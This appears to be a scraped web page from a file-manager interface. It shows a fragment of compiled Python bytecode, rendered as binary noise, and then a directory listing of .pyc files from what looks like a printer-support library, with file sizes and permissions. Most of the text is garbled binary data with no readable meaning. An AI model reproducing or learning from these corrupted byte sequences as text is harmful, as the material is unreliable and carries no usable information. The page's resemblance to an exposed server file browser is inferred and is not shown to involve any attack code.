version_matchr1s     r<r�r�ds�������k�4�0����Q[�Q`�Q`�a��"#�-�-�/����w�'�-�-�/���b�=�"�>�2�8�8�:�G��	�	�"A�7�B�D�D�Q�
��#�)�)�!�,�G��1�:���������s�CC�
C�C)g��Q��?);�baserr�base.gr@rr�r�r#r��	installerrrr�r�r�r=rSr\rxr�r�r�r�r�r�r�r�r�rrrr2rLr�rVr`rjrmrprsr�r�r�r�r�r�r�r�r�r�r�r�rrr�rrr��rTr<�<module>r.s��6!���	�
��	��"���	�����D�N!�H�,�B0�d2�@�.�4�(%�*�
�-�^�$$��6>�@K�Z��%�(����(�T	�	�	�	�	��&	�� o�d�6�p�F�(�4��rT

Filemanager

Name Type Size Permission Actions
CdmWifi.cpython-313.pyc File 16.36 KB 0644
LedmWifi.cpython-313.pyc File 32.9 KB 0644
__init__.cpython-313.pyc File 194 B 0644
avahi.cpython-313.pyc File 2.54 KB 0644
codes.cpython-313.pyc File 24.52 KB 0644
device.cpython-313.pyc File 119.56 KB 0644
dime.cpython-313.pyc File 4.41 KB 0644
exif.cpython-313.pyc File 32.61 KB 0644
g.cpython-313.pyc File 21.39 KB 0644
imageprocessing.cpython-313.pyc File 40.63 KB 0644
imagesize.cpython-313.pyc File 7.26 KB 0644
ldif.cpython-313.pyc File 18.57 KB 0644
local.cpython-313.pyc File 2.31 KB 0644
logger.cpython-313.pyc File 22.16 KB 0644
magic.cpython-313.pyc File 64.16 KB 0644
maint.cpython-313.pyc File 68.32 KB 0644
mdns.cpython-313.pyc File 12.97 KB 0644
mfpdtf.cpython-313.pyc File 11.25 KB 0644
models.cpython-313.pyc File 21.22 KB 0644
module.cpython-313.pyc File 28.83 KB 0644
os_utils.cpython-313.pyc File 2.97 KB 0644
password.cpython-313.pyc File 13.44 KB 0644
pkit.cpython-313.pyc File 15.27 KB 0644
pml.cpython-313.pyc File 26.85 KB 0644
queues.cpython-313.pyc File 18.9 KB 0644
services.cpython-313.pyc File 11.37 KB 0644
six.cpython-313.pyc File 27.04 KB 0644
sixext.cpython-313.pyc File 8.11 KB 0644
slp.cpython-313.pyc File 8.03 KB 0644
smart_install.cpython-313.pyc File 11.66 KB 0644
status.cpython-313.pyc File 74.51 KB 0644
strings.cpython-313.pyc File 38.94 KB 0644
tui.cpython-313.pyc File 18.18 KB 0644
utils.cpython-313.pyc File 115.18 KB 0644
validation.cpython-313.pyc File 5.31 KB 0644
vcard.cpython-313.pyc File 45.18 KB 0644
wifi.cpython-313.pyc File 24.22 KB 0644
Filemanager